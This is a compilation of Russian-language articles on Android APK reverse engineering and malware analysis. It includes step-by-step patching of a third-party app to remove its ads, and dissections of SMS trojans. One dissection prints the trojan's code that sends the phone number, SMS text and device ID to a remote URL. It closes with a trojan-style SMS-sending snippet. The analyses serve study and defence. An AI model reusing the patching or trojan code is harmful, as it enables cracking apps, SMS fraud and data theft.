Иногда некоторые приложения на Android чем-то не устраивают пользователя. В качестве примера можно привести назойливую рекламу. А то бывает и так - всем хороша программа, да только перевод в ней или кривой, или вовсе отсутствует. Или, например, программа триальная, а получить полную версию возможности нет. Как же изменить ситуацию?

Введение

В этой статье мы поговорим о том, как разобрать пакет APK с приложением, рассмотрим его внутреннюю структуру, дизассемблируем и декомпилируем байт-код, а также попробуем внести в приложения несколько изменений, которые могут принести нам ту или иную выгоду.

Чтобы сделать все это самостоятельно, потребуются хотя бы начальные знания языка Java, на котором пишутся приложения для Android, и языка XML, который используется в Android повсеместно - от описания самого приложения и его прав доступа до хранения строк, которые будут выведены на экран. Также понадобится умение обращаться со специализированным консольным софтом.

Итак, что же представляет собой пакет APK, в котором распространяется абсолютно весь софт для Android?

Декомпиляция приложений

В статье мы работали только с дизассемблированным кодом приложения, однако если в большие приложения вносить более серьезные изменения, разобраться в коде smali будет гораздо сложнее. К счастью, мы можем декомпилировать код dex в Java-код, который будет хоть и не оригинальным и не компилируемым обратно, но гораздо более легким для чтения и понимания логики работы приложения. Чтобы сделать это, нам понадобятся два инструмента:

• dex2jar - транслятор байт-кода Dalvik в байт-код JVM, на основе которого мы сможем получить код на языке Java ;
• jd-gui - сам декомпилятор, позволяющий получить из байт-кода JVM читаемый код Java . В качестве альтернативы можно использовать Jad (www.varaneckas.com/jad); хоть он и довольно старый, но в некоторых случаях генерирует более читаемый код, нежели Jd-gui.

Использовать их следует так. Сначала запускаем dex2jar, указывая в качестве аргумента путь до apk-пакета:

% dex2jar.sh mail.apk

В результате в текущем каталоге появится Java-пакет mail.jar, который уже можно открыть в jd-gui для просмотра Java-кода.

Устройство APK-пакетов и их получение

Пакет приложения Android, по сути, является обычным ZIP-файлом, для просмотра содержимого и распаковки которого никаких специальных инструментов не требуется. Достаточно иметь архиватор - 7zip для Windows или консольный unzip в Linux. Но это что касается обертки. А что внутри? Внутри же у нас в общем случае такая структура:

• META-INF/ - содержит цифровой сертификат приложения, удостоверяющий его создателя, и контрольные суммы файлов пакета;
• res/ - различные ресурсы, которые приложение использует в своей работе, например изображения, декларативное описание интерфейса, а также другие данные;
• AndroidManifest.xml - описание приложения. Сюда входит, например, список требуемых разрешений, требуемая версия Android и необходимое разрешение экрана;
• classes.dex - компилированный байт-код приложения для виртуальной машины Dalvik;
• resources.arsc - тоже ресурсы, но другого рода - в частности, строки (да-да, этот файл можно использовать для русификации!).

Перечисленные файлы и каталоги есть если не во всех, то, пожалуй, в абсолютном большинстве APK. Однако стоит упомянуть еще несколько не столь распространенных файлов/каталогов:

• assets - аналог ресурсов. Основное отличие - для доступа к ресурсу необходимо знать его идентификатор, список asset’ов же можно получать динамически, используя метод AssetManager.list() в коде приложения;
• lib - нативные Linux-библиотеки, написанные с помощью NDK (Native Development Kit).

Этот каталог используют производители игр, помещая туда движок игры, написанный на C/C++, а также создатели высокопроизводительных приложений (например, Google Chrome). С устройством разобрались. Но как же получить сам файл пакета интересующего приложения? Поскольку без рута с устройства забрать файлы APK не представляется возможным (они лежат в каталоге /data/app), а рутить не всегда целесообразно, имеется как минимум три способа получить файл приложения на компьютер:

• расширение APK Downloader для Chrome ;
• приложение Real APK Leecher ;
• различные файлообменники и варезники.

Какой из них использовать - дело вкуса; мы предпочитаем использовать отдельные приложения, поэтому опишем использование Real APK Leecher, тем более что написан он на Java и, соответственно, работать будет хоть в винде, хоть в никсах.

После запуска программы необходимо заполнить три поля: Email, Password и Device ID - и выбрать язык. Первые два - e-mail и пароль твоего гуглоаккаунта, который ты используешь на устройстве. Третий же является идентификатором устройства, и его можно получить, набрав на номеронабирателе код # #8255## и затем найдя строку Device ID. При заполнении надо ввести только ID без префикса android-.

После заполнения и сохранения нередко выскакивает сообщение «Error while connecting to server». Оно не имеет отношения к Google Play, поэтому смело его игнорируй и ищи интересующие тебя пакеты.

Просмотр и модификация

Допустим, ты нашел интересующий тебя пакет, скачал, распаковал… и при попытке просмотра какого-нибудь XML-файла с удивлением обнаружил, что файл не текстовый. Чем же его декомпилировать и как вообще работать с пакетами? Неужели необходимо ставить SDK? Нет, SDK ставить вовсе не обязательно. На самом деле для всех шагов по распаковке, модификации и упаковке пакетов APK нужны следующие инструменты:

• архиватор ZIP для распаковки и запаковки;
• smali - ассемблер/дизассемблер байт-кода виртуальной машины Dalvik (code.google.com/p/smali);
• aapt - инструмент для запаковки ресурсов (по умолчанию ресурсы хранятся в бинарном виде для оптимизации производительности приложения). Входит в состав Android SDK, но может быть получен и отдельно;
• signer - инструмент для цифровой подписи модифицированного пакета (bit.ly/Rmrv4M).

Использовать все эти инструменты можно и по отдельности, но это неудобно, поэтому лучше воспользоваться более высокоуровневым софтом, построенным на их основе. Если ты работаешь в Linux или Mac OS X, то тут есть инструмент под названием apktool . Он позволяет распаковывать ресурсы в оригинальный вид (в том числе бинарные XML- и arsc-файлы), пересобирать пакет с измененными ресурсами, но не умеет подписывать пакеты, так что запускать утилиту signer придется вручную. Несмотря на то что утилита написана на Java, ее установка достаточно нестандартна. Сначала следует получить сам jar-файл:

$ cd /tmp $ wget http://bit.ly/WC3OCz $ tar -xjf apktool1.5.1.tar.bz2

$ wget http://bit.ly/WRjEc7 $ tar -xjf apktool-install-linux-r05-ibot.tar.bz2

$ mv apktool.jar ~/bin $ mv apktool-install-linux-r05-ibot/* ~/bin $ export PATH=~/bin:$PATH

Если же ты работаешь в Windows, то для нее есть превосходный инструмент под названиемVirtuous Ten Studio , который также аккумулирует в себе все эти инструменты (включая сам apktool), но вместо CLI-интерфейса предоставляет пользователю интуитивно понятный графический интерфейс, с помощью которого можно выполнять операции по распаковке, дизассемблированию и декомпиляции в несколько кликов. Инструмент этот Donation-ware, то есть иногда появляются окошки с предложением получить лицензию, но это, в конце концов, можно и потерпеть. Описывать его не имеет никакого смысла, потому что разобраться в интерфейсе можно за несколько минут. А вот apktool, вследствие его консольной природы, следует обсудить подробнее.

Рассмотрим опции apktool. Если вкратце, то имеются три основные команды: d (decode), b (build) и if (install framework). Если с первыми двумя командами все понятно, то что делает третья, условный оператор? Она распаковывает указанный UI-фреймворк, который необходим в тех случаях, когда ты препарируешь какой-либо системный пакет.

Рассмотрим наиболее интересные опции первой команды:

• -s - не дизассемблировать файлы dex;
• -r - не распаковывать ресурсы;
• -b - не вставлять отладочную информацию в результаты дизассемблирования файла dex;
• --frame-path - использовать указанный UI-фреймворк вместо встроенного в apktool. Теперь рассмотрим пару опций для команды b:
• -f - форсированная сборка без проверки изменений;
• -a - указываем путь к aapt (средство для сборки APK-архива), если ты по какой-то причине хочешь использовать его из другого источника.

Пользоваться apktool очень просто, для этого достаточно указать одну из команд и путь до APK, например:

$ apktool d mail.apk

После этого в каталоге mail появятся все извлеченные и дизассемблированные файлы пакета.

Препарирование. Отключаем рекламу

Теория - это, конечно, хорошо, но зачем она нужна, если мы не знаем, что делать с распакованным пакетом? Попробуем применить теорию с пользой для себя, а именно модифицируем какую-нибудь софтину так, чтобы она не показывала нам рекламу. Для примера пусть это будет Virtual Torch - виртуальный факел. Для нас эта софтина подойдет идеально, потому что она под завязку набита раздражающей рекламой и к тому же достаточно проста, чтобы не потеряться в дебрях кода.

Итак, с помощью одного из приведенных способов скачай приложение из маркета . Если ты решил использовать Virtuous Ten Studio, просто открой APK-файл в приложении и распакуй его, для чего создай проект (File -> New project), затем в контекстном меню проекта выбери Import File. Если же твой выбор пал на apktool, то достаточно выполнить одну команду:

$ apktool d com.kauf.particle.virtualtorch.apk

После этого в каталоге com.kauf.particle.virtualtorch появится файловое дерево, похожее на описанное в предыдущем разделе, но с дополнительным каталогом smali вместо dex-файлов и файлом apktool.yml. Первый содержит дизассемблированный код исполняемого dex-файла приложения, второй - служебную информацию, необходимую apktool для сборки пакета обратно.

Первое место, куда мы должны заглянуть, - это, конечно же, AndroidManifest.xml. И здесь мы сразу встречаем следующую строку:

Нетрудно догадаться, что она отвечает за предоставление приложению полномочий на использование интернет-соединения. По сути, если мы хотим просто избавиться от рекламы, нам, скорее всего, достаточно будет запретить приложению интернет. Попытаемся это сделать. Удаляем указанную строку и пробуем собрать софтину с помощью apktool:

$ apktool b com.kauf.particle.virtualtorch

В каталоге com.kauf.particle.virtualtorch/build/ появится результирующий APK-файл. Однако установить его не получится, так как он не имеет цифровой подписи и контрольных сумм файлов (в нем просто нет каталога META-INF/). Мы должны подписать пакет с помощью утилиты apk-signer. Запустили. Интерфейс состоит из двух вкладок - на первой (Key Generator) создаем ключи, на второй (APK Signer) подписываем. Чтобы создать наш приватный ключ, заполняем следующие поля:

• Target File - выходной файл хранилища ключей; в нем обычно хранится одна пара ключей;
• Password и Confirm - пароль для хранилища;
• Alias - имя ключа в хранилище;
• Alias password и Confirm - пароль секретного ключа;
• Validity - срок действия (в годах). Значение по умолчанию оптимально.

Остальные поля, в общем-то, необязательны - но необходимо заполнить хотя бы одно.

WARNING

Чтобы подписать приложение с помощью apk-signer, ты должен установить Android SDK и указать полный путь до него в настройках приложения.

Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.

Теперь этим ключом можно подписать APK. На вкладке APK Signer выбираем только что сгенерированный файл, вводим пароль, алиас ключа и пароль к нему, затем находим файл APK и смело жмем кнопку «Sign». Если все пройдет нормально, пакет будет подписан.

INFO

Так как мы подписали пакет нашим собственным ключом, он будет конфликтовать с оригинальным приложением, а это значит, что при попытке обновить софтину через маркет мы получим ошибку.

Цифровая подпись необходима только стороннему софту, поэтому если ты занимаешься модификацией системных приложений, которые устанавливаются копированием в каталог /system/app/, то подписывать их не нужно.

После этого скидываем пакет на смартфон, устанавливаем и запускаем. Вуаля, реклама пропала! Вместо нее, однако, появилось сообщение, что у нас нет интернета или отсутствуют соответствующие разрешения. По идее, этого могло бы и хватить, но сообщение выглядит раздражающе, да и, если честно, нам просто повезло с тупым приложением. Нормально написанная софтина, скорее всего, уточнит свои полномочия или проверит наличие интернет-соединения и в противном случае просто откажется запускаться. Как быть в этом случае? Конечно, править код.

Обычно авторы приложений создают специальные классы для вывода рекламы и вызывают методы этих классов во время запуска приложения или одной из его «активностей» (упрощенно говоря, экранов приложения). Попробуем найти эти классы. Идем в каталог smali, далее com (в org лежит только открытая графическая библиотека cocos2d), далее kauf (именно туда, потому что это имя разработчика и там лежит весь его код) - и вот он, каталог marketing. Внутри находим кучу файлов с расширением smali. Это классы, и наиболее примечателен из них класс Ad.smali, по названию которого нетрудно догадаться, что именно он выводит рекламу.

Мы могли бы изменить логику его работы, но гораздо проще будет тупо убрать вызовы любых его методов из самого приложения. Поэтому выходим из каталога marketing и идем в соседний каталог particle, а затем в virtualtorch. Особого внимания здесь заслуживает файл MainActivity.smali. Это стандартный для Android класс, который создается Android SDK и устанавливается в качестве точки входа в приложение (аналог функции main в Си). Открываем файл на редактирование.

Внутри находится код smali (местный ассемблер). Он довольно запутанный и трудный для чтения в силу своей низкоуровневой природы, поэтому мы не будем его изучать, а просто найдем все упоминания класса Ad в коде и закомментируем их. Вбиваем строку «Ad» в поиске и попадаем на строку 25:

Field private ad:Lcom/kauf/marketing/Ad;

Здесь создается поле ad для хранения объекта класса Ad. Комментируем с помощью установки знака ### перед строкой. Продолжаем поиск. Строка 423:

New-instance v3, Lcom/kauf/marketing/Ad;

Здесь происходит создание объекта. Комментируем. Продолжаем поиск и находим в строках 433, 435, 466, 468, 738, 740, 800 и 802 обращения к методам класса Ad. Комментируем. Вроде все. Сохраняем. Теперь пакет необходимо собрать обратно и проверить его работоспособность и наличие рекламы. Для чистоты эксперимента возвращаем удаленную из AndroidManifest.xml строку, собираем пакет, подписываем и устанавливаем.

Наш подопытный кролик. Видна реклама

Оп-па! Реклама пропала только во время работы приложения, но осталась в главном меню, которое мы видим, когда запускаем софтину. Так, подождите, но ведь точка входа - это класс MainActivity, а реклама пропала во время работы приложения, но осталась в главном меню, значит, точка входа другая? Чтобы выявить истинную точку входа, вновь открываем файл AndroidManifest.xml. И да, в нем есть следующие строки:

Они говорят нам (и, что важнее, андроиду) о том, что активность с именем Start должна быть запущена в ответ на генерацию интента (события) android.intent.action.MAIN из категории android.intent.category.LAUNCHER. Это событие генерируется при тапе на иконку приложения в ланчере, поэтому оно и определяет точку входа, а именно класс Start. Скорее всего, программист сначала написал приложение без главного меню, точкой входа в которое был стандартный класс MainActivity, а затем добавил новое окно (активность), содержащее меню и описанное в классе Start, и вручную сделал его точкой входа.

Открываем файл Start.smali и вновь ищем строку «Ad», находим в строках 153 и 155 упоминание класса FirstAd. Он тоже есть в исходниках и, судя по названию, как раз и отвечает за показ объявлений на главном экране. Смотрим дальше, идет создание экземпляра класса FirstAd и интента, по контексту имеющего отношение к этому экземпляру, а дальше метка cond_10, условный переход на которую осуществляется аккурат перед созданием экземпляра класса:

If-ne p1, v0, :cond_10 .line 74 new-instance v0, Landroid/content/Intent; ... :cond_10

Скорее всего, программа каким-то случайном образом вычисляет, нужно ли показывать рекламу на главном экране, и, если нет, перескакивает сразу на cond_10. Ок, упростим ей задачу и заменим условный переход на безусловный:

#if-ne p1, v0, :cond_10 goto:cond_10

Больше упоминаний FirstAd в коде нет, поэтому закрываем файл и вновь собираем наш виртуальный факел с помощью apktool. Копируем на смартфон, устанавливаем, запускаем. Вуаля, вся реклама исчезла, с чем нас всех и поздравляем.

Итоги

Эта статья лишь краткое введение в методы вскрытия и модификации Android-приложений. За кадром остались многие вопросы, такие как снятие защиты, разбор обфусцированного кода, перевод и замена ресурсов приложения, а также модификация приложений, написанных с использованием Android NDK. Однако, имея базовые знания, разобраться во всем этом - лишь вопрос времени.

Вы потеряли исходник своей программы и вам нужно восстановить код. Вы скачали программу с вирусом и хотите узнать, что он делает.

Программы под Android распространяются в архивах. Эти архивы имеют расширение ".apk". Такие файлы не шифруются и являются по сути файлами «zip». Можете переименовать apk-файл в zip, чтобы убедиться в этом.

Вам необходимо поковыряться в APK-файле и получить какие-то данные. Можно потренироваться на кошках. Возьмём свою программу "Hello Kitty", найдём его apk-файл в папке проекта app\build\outputs\apk и переместим в отдельную папку для опытов.

Распаковав архив, вы можете увидеть структуру приложения и встретить знакомые файлы. И даже извлечь некоторые файлы для просмотра. К примеру, в папке res/drawable-hdpi-v4 я нашёл свою картинку pinkhellokitty.png . Казалось бы, вот оно - счастье. Но погодите радоваться. Если с изображениями проблем нет, то с чтением XML-файл вас ждёт облом. Какие-то строки вам видны, но в целом текст совершенно нечитаем. Поэтому сначала пойдём другим путём.

Так как пользовательские приложения для Android выполняются в java-машине, то APK-файлы наследуют все характерные черты JAR-файлов.

Содержимое архива обычно выглядит примерно так:

Каталог META-INF содержит:

CERT.RSA - сертификат приложения
CERT.SF - контрольные суммы файлов ресурсов (картинок, звуков и т.д.)
MANIFEST.MF - служебная информация, описывающая сам apk-файл

Разбор вредоносной программы

В качестве примера возьмем программу suspicious.apk , который детектируется разными антивирусами как вредоносная программа.

Чтобы лучше понять, что именно искать, нужно проанализировать файл «AndroidManifest.xml» - посмотреть, какие именно разрешения требуются анализируемому приложению. Данный файл бинарный, а не обычный текстовый xml. Для того, чтобы его прочитать нужно воспользоваться консольной утилитой «aapt» из комплекта Android SDK. Она находится в каталоге «platform-tools». Так как графического интерфейса нет, то команду нужно вводить в консоли. Например, для Windows:

C:\android-sdk-windows\platform-tools\aapt.exe l -a C:\incoming\suspicious.apk

Разумеется, вы должны подставить свои пути. В Linux команда будет такой же с очевидными отличиями (не будет букв дисков и расширения «exe» у утилиты). Для большего удобства вывод можно перенаправить в файл:

C:\android-sdk-windows\platform-tools\aapt.exe l -a C:\incoming\suspicious.apk>>C:\incoming\manifest.txt

В файле нужно найти секцию «Android manifest» и искать перечисление разрешений. В анализируемом файле это выглядит так:

"android.permission.READ_PHONE_STATE" (Raw: "android.permission.READ_PHONE_STATE") "android.permission.INTERNET" (Raw: "android.permission.INTERNET") "android.permission." (Raw: "android.permission.RECEIVE_SMS")

Из этой информации становится понятно, что программа может получать состояние телефона (сюда включаются, например «телефон в режиме вызова», «телефон в режиме принятия данных»). Это разрешение нужно и для получения номера телефона, на котором запущена программа, работать с сетью и мониторить приход СМС. На этих аспектах и нужно сосредоточить внимание при дальнейшем анализе.

Для того, чтобы получить доступ к коду нужно выполнить два шага - преобразовать apk-файл в jar-файл и декомпилировать полученный байткод в более понятный для человека вид.

Воспользуемся конвертером «dex2jar»:

C:\dex2jar\dex2jar.bat C:\incoming\suspicious.apk

Сконвертированный файл будет находится в том же каталоге, что и оригинальный файл. К его имени будет добавлено ".dex2jar.jar", то есть в данном примере это будет «suspicious.apk.dex2jar.jar».

Этот файл можно открыть декомпилятором. Иерархия пакета в окне декомпилятора выглядит так:

На этом подготовительные шаги заканчиваются - дальнейший успех зависит только от вашего знания Java и умения пользоваться поисковиком.

К счастью, экземпляр выбранный для примера имеет довольно скромные размеры - финальный jar всего 7,01 KB.

В программе всего шесть классов. Исключим те, которые не представляют интереса. Это класс R, в котором только перечислены идентификаторы всех ресурсов. Так же из рассмотрения можно исключить класс Config , в котором содержится конфигурация сборки.

Рассмотрим подробнее оставшиеся три класса.

Activation

Этот класс срабатывает по событию onCreate() , то есть сразу после старта приложения.

TelephonyManager localTelephonyManager = (TelephonyManager)getSystemService("phone"); - создает localTelephonyManager , в которую помещает данные об устройстве.

str1 = localTelephonyManager.getDeviceId(); - выбирает из полученных данных идентификационный номер устройства и помещает его в строку str1

Дальше идет цикл, который делит DeviceId на кусочки по четыре цифры, вставляя между ними дефис "-", то есть из XXXXXXXXXXXXXXXX получается XXXX-XXXX-XXXX-XXXX. Полученную строку цифр и дефисов передают в TextView с идентификатором 2131034112.

SmsReciever

Этот класс срабатывает при приходе СМС-сообщения, событие onReceive() .

В задачу этого класса входит отслеживать входящие смс и в случае обнаружения запускать класс MainService , передавая ему указатель на новое пришедшее сообщение.

MainService

Этот класс довольно велик, поэтому не стану приводить его целиком. Сразу после вызова запускает субкласс «SmsBlockerThread», который блокирует уведомление о поступившем СМС, чтобы пользователь не был оповещен о новом входящем СМС.

Затем входящее СМС обрабатывается таким образом:

String str1 = localSmsMessage.getOriginatingAddress(); - номер телефона-получателя (то есть номер телефона, на котором установлен троянец) помещается в переменную str1 .

String str2 = localSmsMessage.getMessageBody(); - тело сообщения помещается в переменную str2

Затем создаются связанные пары localBasicNameValuePair1 и localBasicNameValuePair2 в которые помещаются значения

F0=<номер телефона> b0=<текст сообщения>

Эти пары сохраняют в массив localArrayList, в который позже добавляют пару localBasicNameValuePair3 , представляющую собой id=

При этом, как видите, DeviceId получается заново, а не используется то, что было получено в классе Activation . Заканчивается тем, что вызывается метод postRequest() из последнего класса ServerSession :

Try { JSONObject localJSONObject = ServerSession.postRequest(new UrlEncodeFormEntity(localArrayList)); return; }

В качестве параметра передается тот самый массив пар, в котором номер телефона, содержимое СМС и идентификатор устройства.

ServerSession

Этот класс имеет два метода: initUrl() , который возвращает часть ссылки "(http://softthrifty.com/security.jsp)":

Public static String initUrl() { return "http://softthrifty.com/security.jsp"; }

и большой метод postRequest() , который вызывался из класса MainService . Несмотря на размер, задача postRequest() проста - отправить на сервер по ссылке, возвращаемой методом initUrl() , данные, добавив пары из массива, собранного в MainService . То есть всего лишь обратиться по ссылке:

(http://softthrifty.com/security.jsp?f0=<номер телефона>&b0=<текст сообщения>&id=)

Итог

Итак, данный троянец перехватывает СМС и отправляет на сервер запрос, в котором передает номер зараженного телефона, содержимое СМС и идентификатор зараженного телефона. Такое поведение может быть признаком банковского троянца, атакующего двухфакторную авторизацию. Для успешной атаки требуется выполнение таких условий:

1) злоумышленник должен заразить компьютер жертвы, чтобы перехватить данные для он-лайн банкинга;
2) злоумышленник должен заразить телефон жертвы для перехвата СМС с кодом подтверждения от банка;
3) злоумышленник должен каким-то образом связать пользователя зараженного компьютера и зараженного телефона, чтобы знать, от каких учетных данных он-лайн банкинга данный код подтверждения;

В силу своих размеров и очевидности производимой деятельности такой образец хорошо подходит для демонстрации базовых приемов разбора вредоносных программ под Андроид.

Описание вредоносных программных средств для Android

Alexander Antipov

В докладе компании McAfee о состоянии потенциальных угроз в первой четверти этого года указывалось наличие 6 млн выявленных уникальных образцов вредоносного программного обеспечения.

В докладе компании McAfee о состоянии потенциальных угроз в первой четверти этого года указывалось наличие 6 млн выявленных уникальных образцов вредоносного программного обеспечения. В этом смысле 1 квартал 2011 года оказался самым результативным по числу выявленных вредоносных программ в сравнении с аналогичными периодами всех прошлых лет. В отчете McAfee было отмечено, что устройства Android все чаще превращаются в разносчиков вредоносных программных средств. По мнению специалистов Android в первом квартале этого года стал вторым по популярности среди злоумышленников мобильным объектом для вторжения после Symbian.

В этой статье мы собираемся провести Вас через различные этапы анализа программного обеспечения, тем самым позволив Вам понять, в чем же конкретно заключаются уязвимости платформы Android и каким образом злоумышленники ими пользуются. Прежде всего, мы начнем с обсуждения истории разработки Android, а затем перейдем к основам функционирования пакетов конфигурации платформы. Параллельно мы будем в деталях анализировать все встречающиеся вредоносные программы, ориентированные именно на Android.

Введение в платформу Android

Android представляет собой операционную систему для сотовых телефонов, коммуникаторов, планшетных компьютеров и других устройств, основанную на базе ядра Linux. Приложения для Android разработчики пишут в основном на языке Java, предусматривая управление устройством с помощью разработанной компанией Google, Java библиотеки. Android компилятор Java компилирует набор файлов разработчика в файлы классов, а затем класс файлы преобразуются в файлы dex. Эти файлы имеют байт-код специально применяющийся для распознавания виртуальной машины Dalvik - представляющей собой среду исполнения байт-кодов Java-приложения (JVM), работающей на специальном приложении для Android. XML-файлы преобразуются в двоичный формат, оптимизированный для создания небольших файлов. Файлы.dex, двоичные файлы XML и другие ресурсы, необходимые для запуска приложений, упаковываются в файл пакета Android. Эти файлы имеют расширение.apk, но являются стандартными ZIP файлами. Как только пакет apk сформирован, на него наносится цифровая подпись разработчика, и он загружается на Android Market через веб-сайт Google, откуда пользователь можете скачать эти apk-файлы и установить их на свое Android устройство. В настоящее время существует более 2 миллионов доступных для загрузки приложений в центральном хранилище для Android приложений, и помимо этого не стоит забывать, что Google Android приложения могут быть загружены и с других сторонних сайтов.

Требования

• Инструмент для распаковки файлов формата apk - Winzip
• Инструмент для преобразования файлов.dex в файлы.jar:.. Dex2jar
• Графическая утилита для декомпиляции Java: JD-GUI
• Образцы вредоносных программ, ориентированных на Android для анализа

Подробные шаги

Шаг I:
Для инициирования процедуры анализа вредоносного программного обеспечения, сначала необходимо загрузить вредоносные образец, ориентированный на платформу Android. В этом случае, мы будем загружать iCalendar.apk, ставший одним из 11 подозрительных приложений удаленных из Android Market, поскольку в нем было обнаружено содержание вредоносных программ в Gadget Media. Проверка запроса на VirusTotal показала уровень обнаружения 46,5%, что продемонстрировано на рисунке ниже.

Рис. 1

Шаг II:

Извлечение iCalendar.apk файла с помощью Winzip, после чего можно просмотреть содержимое файла.apk

Рис. 2. .dex и. XML-файлы, обсуждавшиеся ранее в этой статье приведены на рис. 2.

Шаг III:

Следующим шагом будет выполнение кода с использованием инструмента "dex2jar". Комплект инструментов dex2jar преобразует исполняемые в Dalvik .dex файлы в Java .class файлы. "Classes.dex" - файл из нашего приложения попадает в каталог dex2jar " и преобразовывается с помощью следующей команды: dex2jar.bat classes.dex.

Рис. 3 Создание "classes.dex.dex2jar.jar" файлов в одном каталоге.

Рис. 4

Шаг IV:

Мы использовали JD-GUI для просмотра.class файлов. Открываем файл "Classes.dex.dex2jar.jar", с использованием JD-GUI.

Рис. 5: Показан полный исходный код приложений для Android.

Шаг V:
После получения исходного кода приложения, можно выполнить анализ фактического источника и провести проверку на наличие неполадок. Было отмечено, что файл с именем класса "SmsReceiver.class" выглядит несколько странно, ведь это календарь приложения, и SmsReceiver в данном случае не требуется. При дальнейшем осмотре исходного кода "SmsReceiver.class", было установлено, что он содержит три номера 1066185829, 1066133 и 106601412004, выглядящие довольно подозрительными. В частности, ситуация похожа на попытку блокирования сообщений, отправляющихся с указанных номеров на устройство Android, когда данное приложение было установлено и запущено.

Рис. 6

После поиска этих чисел через Google, было установлено, что это номера SMS сервиса, принадлежащего компании China Mobile (рис. 7).

Рис. 7

Мы пытались проанализировать, почему приложение пытается заблокировать отчеты о доставке из вышеупомянутых номеров в последующих действиях.

Шаг VI:
После окончания аналиаз файла "SmsReceiver.class", переходим к анализу кода следующего файла.class, т.е. "iCalendar.class". Первый из них выглядит самым подозрительным. В частности, нами было замечено, что в функции showImg() присутствовала некая функция sendSms().

Рис. 8

Итак, мы инициировали проверку файла "sendSms()", чтобы увидеть особенности в выполнении команд. Как показано на рисунке ниже, мы видим, что когда функция sendSms() активирована, на номер 1066185829 автоматически отправляется SMS с текстом 921X1.

Рис. 9

Шаг VII:
В конце функции sendSms(), мы заметили наличие команды сохранения функции. Таким образом, мы искали функцию сохранения () внутри кода и нашли ее непосредственную взаимосвязь с функцией sendSms().

Рис. 10

После проведения соответствующего анализа и выяснения различных аспектов работы функции save(), было установлено, что строка "Y" проходит всякий раз при выполнении функции save(). Кроме того, был сделан вывод, что функция sendSms() может быть вызвана только лишь один раз, но не больше, поскольку существует цикл "if” установленный для функции sendSms().

Шаг VIII:
Объединив результаты всего проведенного анализа, можно получить четкое представление о полном функционировании различного рода вредоносных программ.

Приложение отправляет SMS на премиум номер 1066185829 с текстом 921X1. Параллельно блокируются любые входящие отчеты о доставке сообщений на этот номер, и в результате жертва не получит никакого сигнала о существовании такой SMS, отправленного приложением в фоновом режиме. Кроме того, SMS посылается лишь только один раз, и жертва фактически никак не может заподозрить, чем же на самом деле было вызвано списывание средств со счета.

Рис. 11: Полные выводы о вредоносных программах цикла iCalendar.apk

Заключение:

Вредоносная программа с root доступом к телефону не просто имеет возможность осуществлять чтение любых данных, хранящихся на нем, но и способна передать их в абсолютно любое место. Данная информация может включать в себя контактную информацию, документы и даже пароли для счетов. При наличии root доступа существует возможность установить и другие компоненты, недоступные для просмотра в пользовательском интерфейсе телефона, вследствие чего их нельзя легко удалить. Основные способы защиты приложений от вредоносных программ для платформы Android приведены ниже:

• Загрузка приложения только из надежных источников;
• Проверка соответствующих рейтингов и обзоров, до загрузки приложения;
• Внимательная оценка разрешений конкретных приложений;
• Установка ОС Android обновлений, по мере их готовности;
• Установка программ для защиты мобильных приложений.

В документе приведен пример ущерба, наносимого вредоносным программным обеспечением ничего не подозревающим пользователям. Если человек не догадывается о его существовании, то таким программам становится доступно выполнение практически любых несанкционированных действия в фоновом режиме. Работа вредоносных программ может повлечь за собой финансовые потери для пользователя путем списания средств с его балансов, а также кражи паролей. Помимо этого они могут стать причиной повреждения самого телефона. Как видите, очень важно своевременно применять адекватные меры предосторожности для предотвращения проникновения приложений такого рода в Ваш телефон. Лучше один раз перестраховаться, чем потом десять раз пожалеть.

В коллекции вредоносных Android-приложений некоторых антивирусных лабораторий содержится уже более 10 миллионов образцов. Эта цифра будоражит воображение, но примерно 9 миллионов 995 тысяч из них - переименованные копии оригинальных вирусов. Но если проанализировать исходный код оставшихся нескольких тысяч образцов малвари, то можно заметить, что все они комбинируются из небольшого количества уникальных функциональных блоков (несколько видоизмененных и по-разному скомбинированных).

Все дело в том, что вирмэйкеры чаще всего преследуют весьма тривиальные задачи:

• отправить эсэмэску на платный номер;
• завладеть конфиденциальной информацией пользователя (телефонными номерами, текстами сообщений, данными с SD-карты и так далее);
• собрать данные о зараженном устройстве;
• завладеть администраторскими правами на устройстве (для установки приложений без разрешения владельца или для злонамеренного выведения аппарата из строя);
• отследить логины, пароли и данные платежных карт, которые пользователь вводит на сайтах систем интернет-банкинга. 
Как они это делают? Попробуем проникнуть в мрачный мир мобильного вирмэйкинга и посмотреть, что там происходит.

Отправка SMS

Кто использует:

• AdSms;
• FakePlayer;
• HippoSms.

Самым распространенным типом вирусов являются SMS-трояны. Эти вирусы просто отправляют сообщения на платные номера без согласия пользователя. Создать такую программу или переписать готовую под нужный номер совсем легко. Да и процесс получения выгоды предельно упрощен - в отличие, например, от отслеживания банковских данных.

Далее приведен простейший пример кода. Это элементарная функция отправки SMS. Ее можно усложнить проверкой статуса отправки, выбором номеров в зависимости от места положения абонента и последующим удалением SMS.

Private static SendSms (String DestNumber, String SmsText) { // Попытка запуска метода sendTextMessage объекта SmsManager (стандартная программа для отправки SMS у текущего устройства) с минимальным количеством параметров: номер получателя и текст сообщения try{ SmsManager.getDefault().sendTextMessage(DestNumber,null,SmsText,null,null); return true; } }

Где искать код вируса

В абсолютном большинстве случаев заражение телефона происходит через установку приложений. Любое приложение для Android существует в виде файла с расширением apk, который, по сути, является архивом. Просмотреть его содержимое можно с помощью Android SDK, конвертера файлов APK в JAR и декомпилятора Java-байт-кода. Сборка приложения (APK) состоит из следующих частей:

• resources.arsc - таблица ресурсов;
• res (папка) - собственно ресурсы (иконки и прочее);
• META-INF (папка) - содержит файлы со следующим содержимым: контрольные суммы ресурсов, сертификат приложения и описание сборки APK;
• AndroidManifest.xml - всякого рода служебная информация. В том числе разрешения (permission), которые приложение запрашивает перед установкой для своей корректной работы;
• classes.dex - ты наверняка слышал, что в Android операционных системах весь код выполняется с помощью Dalvik virtual machine (начиная с версии 4.4 появляется поддержка ART), которая не понимает обычный Java-байт-код. Поэтому и существуют файлы с расширением dex. В нем, наряду с нужными и полезными классами (которые отвечают за функционал приложения), содержатся также и вредоносные (вирусный код, который мы разбираем в этой статье).

Запись пользовательской информации в текстовый файл

Кто использует:

• NickySpy;
• SmsSpy.

Существует категория вирусов, которая охотится за персональными данными пользователей. Механизм их действия также несложен. Они либо загружают на сервер своего создателя файлы юзера, либо предварительно собирают какие-либо данные в txt (CSV, XML - не принципиально). Интерес для злоумышленников могут представлять контакты любого типа, сообщения из разных мессенджеров, медиафайлы и прочее.

